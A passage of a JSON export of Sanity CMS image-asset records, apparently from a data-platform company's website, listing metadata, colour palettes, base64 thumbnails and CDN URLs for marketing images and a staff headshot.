{"_createdAt":"2023-10-18T12:48:26Z","_id":"image-3803db2d63f45cf5fefcfe90c300e91c87fe0800-1200x628-jpg","_rev":"zE08g5Yj02ino50zLcSdEi","_type":"sanity.imageAsset","_updatedAt":"2023-10-18T12:48:26Z","assetId":"3803db2d63f45cf5fefcfe90c300e91c87fe0800","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MUNm~a?cs,9F~qM|ayofj[og_3MxWB%MIA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcCBQb/xAAkEAACAgIBAwQDAAAAAAAAAAACAwEEAAURByFBBhITIzFRsf/EABYBAQEBAAAAAAAAAAAAAAAAAAMBBf/EABgRAQADAQAAAAAAAAAAAAAAAAEAAhEh/9oADAMBAAIRAxEAPwB5GvZlcb8JwK+e3P6xfda9zvNDqdZNK89LmsL3mmPHHnGsmPuZkrddFhQxYStsR+IMYL+5oUsaKQkyUnTazbuei9Y/YPN9li+TYcdywzRVQBaABYiARHECMcRGGCu9leT/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353059","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131956","foreground":"#fff","population":8.61,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131956","foreground":"#fff","population":8.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bad9","foreground":"#000","population":1.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc74","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#84549c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df7e39","foreground":"#fff","population":0.69,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"accelerate-data-innovation-whitepaper-meta-preview.jpg","path":"images/sczeoy4w/production/3803db2d63f45cf5fefcfe90c300e91c87fe0800-1200x628.jpg","sha1hash":"3803db2d63f45cf5fefcfe90c300e91c87fe0800","size":66631,"uploadId":"ciby8pslrtIJYja6g7gpBRpEDmiLuBaX","url":"https://cdn.sanity.io/images/sczeoy4w/production/3803db2d63f45cf5fefcfe90c300e91c87fe0800-1200x628.jpg"} {"_createdAt":"2022-06-30T19:58:02Z","_id":"image-38617e03a75f39cead45b164f414de473a47b2ff-696x251-png","_rev":"QRl2cGoCgj0FlAhkRrhlJ4","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:25Z","assetId":"38617e03a75f39cead45b164f414de473a47b2ff","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D1CPCM]$0NEk0202o}bXVs-:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7729083665338647,"height":251,"width":696},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABhklEQVQYlS2R4U/aQADF+6e0vev1eu11QGlhQNCALaX0SivainF8IZtmW8yIMqbiwqImS6YkogaM0ejCH7pU9/Ly3vvw+/Y4AIAoCAKfSnizwAMAZCwrKlFVFWMMAHgD+P+VMjzPcwSjLFXyumJQnKM4o+GMhnRFogRRgjRF0jCkGBIkEhlqBOkEZahCVSxJgKuY9AMr7SfVr8nql+7a3lZ9Nyp/YlafFXpeIbHzcT23bWeTmt51jB4r94P3u5urCasWDcq5K9mLPWc5Dpen4cuv+GmSPB8Ff3+0no/b81F4NWB/vvmzQetm4M6H7P4kfhjHjz+Ts/2wbVvcWuXd+KOzOIoWo9bd0JsN2e3Qv/nOrkbh78P2+SC4OIguR53p8eb1OJ5NdqaT3vRk6/SzH9kWl6HYrZkdv7LhFTsNY90x1htm0LA8x/Jss1nPN22LuSXWLAetchRUfbbiN0tuzSzkNE4QBSRDosqaRlQiKzJEEoRABECUIHgdAkyVbkkCEKb/vCb4B8egbwG8cbFOAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443326","foreground":"#fff","population":2.99,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#631e09","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c5935e","foreground":"#000","population":10.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b9b5","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c5935e","foreground":"#000","population":10.67,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c8660","foreground":"#fff","population":2.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9914f","foreground":"#000","population":1.93,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"38617e03a75f39cead45b164f414de473a47b2ff-696x251.png","path":"images/sczeoy4w/production/38617e03a75f39cead45b164f414de473a47b2ff-696x251.png","sha1hash":"38617e03a75f39cead45b164f414de473a47b2ff","size":26695,"uploadId":"wZ5UECfS9J2Cb5u5Q5nd1DIXjOwosC5k","url":"https://cdn.sanity.io/images/sczeoy4w/production/38617e03a75f39cead45b164f414de473a47b2ff-696x251.png"} {"_createdAt":"2022-09-07T06:39:21Z","_id":"image-38ba04ff5f2e446b523ea4366af83480e40fef83-1706x248-png","_rev":"C3wjC0aqDLLtRfG85YtNL1","_type":"sanity.imageAsset","_updatedAt":"2022-10-04T07:56:46Z","assetId":"38ba04ff5f2e446b523ea4366af83480e40fef83","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"41TI,aM{00~qIU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.879032258064516,"height":248,"width":1706},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAAAsTAAALEwEAmpwYAAAANElEQVQImZXNQQ4AIAgDQf7/XkohUvVgvOvcN2vj6m5J84cBcHcAmXl6SeuNkYwIklX1O9+HJ7HQrHK1bQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7a7a7a","foreground":"#fff","population":0.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6c6c6","foreground":"#000","population":0.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7a7a7a","foreground":"#fff","population":0.56,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"38ba04ff5f2e446b523ea4366af83480e40fef83-1706x248.png","path":"images/sczeoy4w/production/38ba04ff5f2e446b523ea4366af83480e40fef83-1706x248.png","sha1hash":"38ba04ff5f2e446b523ea4366af83480e40fef83","size":2815,"uploadId":"lnFO2Q0N4RR7SqkGMHTUmImOLTknnLXP","url":"https://cdn.sanity.io/images/sczeoy4w/production/38ba04ff5f2e446b523ea4366af83480e40fef83-1706x248.png"} {"_createdAt":"2022-06-30T20:09:20Z","_id":"image-38d1d785825de55fea789fa8a2cef8bf0772b735-729x438-png","_rev":"cEPH2uRN58AU2lp9QO89U1","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:46Z","assetId":"38d1d785825de55fea789fa8a2cef8bf0772b735","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MYRV^Oxv_MRMQ;-;WAMyt8kU.7adICo$o_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6643835616438356,"height":438,"width":729},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACCUlEQVQokW2SzWsTQRjG+2/16KFHm6KIYgXBg6i3Yg4q5iKENFj8RhQPgrlYPUQaSoMVRWqsl7ZiDbZoDKbi7iabzXx/7DszK7vbaAVfmNMzP95nnmcmkmysc8ZYk43WmlGKERpFo2EUYYw55zrWuWqtdc7l1ESSJGAsl5oywRjjXDBKURgOPM/3fD8IBoNBhIaE4kzlUkpjzD7snFNaI8wQpoymMmdMEMIQwhgTQiillBPKaQ4LIQAgX57CqU/GhJAxABgjtQkx/Ayhj0Dp7DHpSaV8rLX7mwFASskYU0plz3Ehdavb8Oi1Xn4X+e2u6uxGvzr+qBeyQIF040lhznlqjNIcti75EdrbTX3qLi0vbLYrd/yFUutZ5fn7e6s7dQ/3rDMuGQdGCEEIEUKUUnmW3b6Zb+jpKr5cfLl14sz344eeXpsuLZ68v1b+Gnw2Fv5uJoTkwRyEqw1dqOIrF5tbR2c7M5O10lSxNnPrTWnX//QPLKXMAmZpB3a8eUkfnkeX5pqbR2a/FSZrV6eKTwr/ga21eWZKqSxQuxfCw1fq7AN0vfx2+8Jc99yx+o3Tlfr5x+s3O/0vYOI/gaefxDkHAHEcp1WBQSze6OjlDdFa6/YaK97SYnv9RWtn5ePehyHtA+SFGudcCud8ajmryhgrlMXCjrAYBP1B4CE8ZBKLmIMB57JLme3fZ2uES/2NDn8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#565656","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#78140b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eb4234","foreground":"#fff","population":4.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cea2a2","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7484","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6aa54e","foreground":"#fff","population":4.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb4234","foreground":"#fff","population":4.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"38d1d785825de55fea789fa8a2cef8bf0772b735-729x438.png","path":"images/sczeoy4w/production/38d1d785825de55fea789fa8a2cef8bf0772b735-729x438.png","sha1hash":"38d1d785825de55fea789fa8a2cef8bf0772b735","size":35195,"uploadId":"GJkPiTLNRMedC3VoNASPswzUQGIPEZjN","url":"https://cdn.sanity.io/images/sczeoy4w/production/38d1d785825de55fea789fa8a2cef8bf0772b735-729x438.png"} {"_createdAt":"2023-10-18T14:06:47Z","_id":"image-3946835265ffe7ff561210c568f95acc51e4ce6f-1440x867-svg","_rev":"97ScSe1K9UIWVy4zLcUI11","_type":"sanity.imageAsset","_updatedAt":"2023-10-18T14:06:47Z","assetId":"3946835265ffe7ff561210c568f95acc51e4ce6f","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPK7;c0t]}|=Ab-2NFN{$gn~I;s*wJOFfk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6608996539792387,"height":867,"width":1440},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABwAFBv/EACEQAAICAQIHAAAAAAAAAAAAAAEDAAIEBSEGBxESMVGR/8QAFgEBAQEAAAAAAAAAAAAAAAAABwQF/8QAIREAAQIFBQEAAAAAAAAAAAAAAQACAwQFBhESFCFRkTH/2gAMAwEAAhEDEQA/AAsYIIEVOVoCtGur20w8nRcHZz8bUApVgF33IM1Lqp+4prwzgtwfFZbswIM83UPuR6mWlVdo6+RKYdMxoqNx8lBvA6SYYDu1/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#724464","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a52506","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6c06","foreground":"#fff","population":20.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#954603","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa9036","foreground":"#000","population":1.78,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a56076","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6c06","foreground":"#fff","population":20.88,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"bg-split-brand-blue-orange.svg","path":"images/sczeoy4w/production/3946835265ffe7ff561210c568f95acc51e4ce6f-1440x867.svg","sha1hash":"3946835265ffe7ff561210c568f95acc51e4ce6f","size":8776,"uploadId":"9tChqlacb8zHG18dALxDPuQIz4E55XqL","url":"https://cdn.sanity.io/images/sczeoy4w/production/3946835265ffe7ff561210c568f95acc51e4ce6f-1440x867.svg"} {"_createdAt":"2023-01-17T18:07:45Z","_id":"image-394f4698e60777ab338d6957977a414598f05e82-2000x2000-jpg","_rev":"xxq72TYoCux1QbSIcC1zT1","_type":"sanity.imageAsset","_updatedAt":"2023-01-18T14:47:31Z","altText":"Oskari Saarenmaa","assetId":"394f4698e60777ab338d6957977a414598f05e82","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"efH_=6jEyCNGxt~pj[W;t7M{NGRjjFs:RjR*ozo0WBt7j[jsayWBof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2000,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAYHCAQF/8QAJBAAAgEEAgEEAwAAAAAAAAAAAQMCAAQGEQUhEgcTImEyQVH/xAAXAQADAQAAAAAAAAAAAAAAAAABAgQD/8QAGhEBAAMAAwAAAAAAAAAAAAAAAQACEQMiUf/aAAwDAQACEQMRAD8Asjk1unYMXaOCXy6E9bMR/a5MZi9QYi6vZ3WvxmwAS3+6heQZalGZ8eqdzvjCPmVnYJ+/qoNmuVXk8uCOLfNNtbnzXOB17lIcdmx5C8lCj7NGGIpUfxLn032P2dxfXSY3EofMGQHdKKY5EHTZlAPbHhLSYnLyDD2TXrTYT7LDozHWzSlVUk15enpglD8VXJ9slkg2Q8pR2ddUpSsrnZj0epP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f4957","foreground":"#fff","population":5.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d323e","foreground":"#fff","population":2.93,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2f4957","foreground":"#fff","population":5.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7c0b6","foreground":"#000","population":4.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6c7be","foreground":"#000","population":0.46,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a78375","foreground":"#fff","population":2.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#518cad","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"oskari-saarenmaa.jpg","path":"images/sczeoy4w/production/394f4698e60777ab338d6957977a414598f05e82-2000x2000.jpg","sha1hash":"394f4698e60777ab338d6957977a414598f05e82","size":2444714,"title":null,"uploadId":"gyYcnwrbmusZOKbukhS1woM7eMq6I6kG","url":"https://cdn.sanity.io/images/sczeoy4w/production/394f4698e60777ab338d6957977a414598f05e82-2000x2000.jpg"} {"_createdAt":"2024-05-20T07:37:19Z","_id":"image-397aac3a9f3b139dc75403390727130da45e6ae9-1200x630-jpg","_rev":"5dKvdU2b7V4fiIIxYxOflR","_type":"sanity.imageAsset","_updatedAt":"2024-05-20T07:37:19Z","assetId":"397aac3a9f3b139dc75403390727130da45e6ae9","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFPZl%TyI@MK_2tmI[=UA1o}_MnokDt1Dj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAQUAAAAAAAAAAAAAAAAAAAIDBQYH/8QAIhAAAgIDAAEEAwAAAAAAAAAAAQIDBAAFESEGEhNBUYGR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwIE/8QAHREBAAEEAwEAAAAAAAAAAAAAAQACAxEhExQxQf/aAAwDAQACEQMRAD8A26LY24NpMsySPX93BxSeYx6q2FilPVlqFYzICS8oPAB9fvLBXUCyx8/3CWNJrJWVFdR54w7miq9xIpnLiVZpFV+RGp2TT62vLMvxyOoYr+MMi7TsJmAPAMMTq0uxhN7fk//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f3139","foreground":"#fff","population":2.74,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a2b9a","foreground":"#fff","population":2.95,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8a2b9a","foreground":"#fff","population":2.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c890c7","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8d2af","foreground":"#000","population":1.98,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#895b9d","foreground":"#fff","population":0.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4421dc","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"free-redis-database-meta-preview.jpg","path":"images/sczeoy4w/production/397aac3a9f3b139dc75403390727130da45e6ae9-1200x630.jpg","sha1hash":"397aac3a9f3b139dc75403390727130da45e6ae9","size":79352,"uploadId":"YGAut9UF53s4xwW9ohBGmVAL3VByMPdR","url":"https://cdn.sanity.io/images/sczeoy4w/production/397aac3a9f3b139dc75403390727130da45e6ae9-1200x630.jpg"} {"_createdAt":"2024-03-05T21:27:11Z","_id":"image-399d0a0f2ad0d9d74336cf6ef583cd853a7eb673-1200x630-png","_rev":"0eA6L3dX7aeuXacPmicSV4","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T21:27:11Z","assetId":"399d0a0f2ad0d9d74336cf6ef583cd853a7eb673","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBBfVo0]#+JZ+WosXr}i0%t8%1R4J:$i$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADDUlEQVQokSXT7U/iBQDA8d9f0CozFQSRH08KnKCiYMiByIOIcoKK+MQZCJwgPlDe5aGBgUF2T/N2PWy+ac2mm0uzrlpbvWjV2npxvbjetGpr63V/wrdV/8HnzUd4XhKlURajWTGPRBlHokwgEVNIxRu0qvPItQXaOraQ624h1xVRGvfp7H8fs/Mcu/eczPQBH60neFoN8fcDD8KL8hi6rhQW+zqWwQLdtgI9A1v02rfpte/Q5yhjHiijNNxGqt5G3vEGmu5HGO1nWN3nxK/d5b10mu+KEf6o+RGk4gJWxwb+0C4joRK+8TIj16oEw3XGJu8QjNzD4aujulKkRfUardoyoukQw8AJPc6PGfMd8vrsGse5BS42ZxFaVYv0OzbwBouMhvcYn9pnJFQlMFEjHLtPOHbIoLeOaPxfKNOVUZsfYBo8ptd5ittxn/zIKtXJBIXQGoJEOU+PLc9Vz03cgSKeYAmnv4TLv4d3vM5w8ACrq4reUkLdVUI0VjBaH2L3neAJnLA0XKLujlB3h1kZTCM0K+Yw9WWxOQvYnK8y4LrFS+4i9uESVmcJk3UXvWWXzt4SGvMeGnMN69AR/sglM7EL9sNbXPqtnLqt1K6GEBqkUdq011Hpk4j6FGrjCtquNXSmTVSGAnLtJsqOTfRXXsHYdZMuy5u4Ro+JLH5NPPENxejbfBgI8oHHw44zjvBMY4TnmqdokERpaJ2jURanSZGkRZmhSZFFqlzFYloh5k6SHk0yH9xhcuaUhfQPvJz9ibnYJ1z33WNp+C3GXO8iPNsYRtoSRtE+i0y9hFRMIHZk0BhySMQccjHHmD3JnYUoZ/kJjvKrFLKnZDZ+5kbhKRPz32LzPKZv6DE9Q58jvNAURiWP0KlbRGNI0a5bRmdMYzBlkatzyFWrhBzLHKUiPCn5+b6yzMHtMwrFX9ks/s700o/0e7/E7PoCs/MzhIaWKZpap5G0zf43paV9CakygUz175YcMvU6LmuWR8kZfqv5+OXuMu9ULilW/mS78hfzmSfYA1/RM/Qp3c4L/gFrJLi9VdGZXwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4279","foreground":"#fff","population":1.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041484","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#745976","foreground":"#fff","population":5.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a94c6","foreground":"#000","population":0.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f19040","foreground":"#000","population":2.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#745976","foreground":"#fff","population":5.5,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e04e11","foreground":"#fff","population":1.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AWS London 2024.png","path":"images/sczeoy4w/production/399d0a0f2ad0d9d74336cf6ef583cd853a7eb673-1200x630.png","sha1hash":"399d0a0f2ad0d9d74336cf6ef583cd853a7eb673","size":249671,"uploadId":"tnXbt9Gi3hLefVK7pnEo75usip1zmZ1W","url":"https://cdn.sanity.io/images/sczeoy4w/production/399d0a0f2ad0d9d74336cf6ef583cd853a7eb673-1200x630.png"} {"_createdAt":"2023-11-23T13:06:17Z","_id":"image-39aebab79b822f25622480a63e4a3d10b3170748-740x384-png","_rev":"Arp4NzaYseKQ5hw9dfzNQY","_type":"sanity.imageAsset","_updatedAt":"2023-11-23T13:06:17Z","assetId":"39aebab79b822f25622480a63e4a3d10b3170748","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"ME4.WKxvWARjRitWayaxayj[o+WAj[ofof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9270833333333333,"height":384,"width":740},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB0ElEQVQokX2SW28SQRiG+QNQ27osh7IndlkZdlkCFGGLbTxEr22l5RTF3S1QdWk1Nf0H3hhTfvG85htaS1r14s2bzEyePPPNJEr1H5y1fnK3cw23veRue4mqv4Tnr9ppX4O1fv0vfK15QlI+8oI14wb7Ar0cc53FMN0YJW8B21tAZ5+QN6fIGqfI6tGfTqsBJEWErzVPpNJHyKgDaPaE6+UQBgthuRHKtSkq9RnsagTN/oCcPkJaGYizsjrAo8w7JKW3SEqHFH7TICCXlQEvshCVxmfutWI0/AV2u+do7p3DbZ7BYAFkdYit3DGknT7SBQL2QDKpu3CKMNzOn8ByIrQPvuHg9RWev7nC/qtLNP1YGOaLY2xmVwACbeeOsSGT4eF9qDDEVraHIgvwdP8C3Zff0X1xiU43RrUWoGCMhBmdI8CGfITNTE/0LTC5BhbAxzsnUKwJLJdmNscTbw6ndgrmTKCaY0iFvjCkuZEh9X1Qah1Iw9bsAKYzh+WeoeROYTshbDcU5or1HjljLB4mq4/EHP8FvTHsw6xEaPgXaD37Cq8xg166A4hoQ2S0oWgSuJ3pAyAt0CZ9jXonxu7eAmVnAjlPBg+vRI+xuv7fgb8B1TVEZnfm31wAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31385e","foreground":"#fff","population":0.7,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":53.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":53.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ca4cd","foreground":"#000","population":3.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ccdcfc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e68b2","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c54cc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Group 3506.png","path":"images/sczeoy4w/production/39aebab79b822f25622480a63e4a3d10b3170748-740x384.png","sha1hash":"39aebab79b822f25622480a63e4a3d10b3170748","size":40242,"uploadId":"GDCvz9OHnVhSptgkWsTdLxz8BR0kBkyf","url":"https://cdn.sanity.io/images/sczeoy4w/production/39aebab79b822f25622480a63e4a3d10b3170748-740x384.png"} {"_createdAt":"2022-06-30T11:51:36Z","_id":"image-39b47b107be9fbe7df3d52beb036e3495f1a334f-750x246-png","_rev":"QRl2cGoCgj0FlAhkRrhctn","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:22Z","assetId":"39b47b107be9fbe7df3d52beb036e3495f1a334f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D04.9:~qxu?Ht7?bayIUWBM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.048780487804878,"height":246,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA8UlEQVQYlW1PSY7DMAzLJ9ocEi+y40XeWyfu/39WyMX0MDMAAUmUSEKLMebQWkmhQUjB2b6zfeeMcc4F55wxtjMhxLZt67qu9/v9dvtiQe8tGRzOGmuM1lorpQAUwCTt8cNQA0C+5EgZS845pVRb6/3s5/V89tZaSsl7HxDLXKP33rmaS8kZvUckwlq75JRKKb33McZ4va4xzvN6tEcMMSDWUmqt5OVcDCGGgIghUHHOLQExxUjpka4/+PxijwNnvrNWAyhJvygA6mmUS6u1lhIDGq1BCMk5TMgJJSVIKScvGPsFEpecnbUgxN/1v5qv+A0tnTvjpPTxWgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443c44","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#434141","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7d7c7c","foreground":"#fff","population":0.33,"title":"#fff"},"lig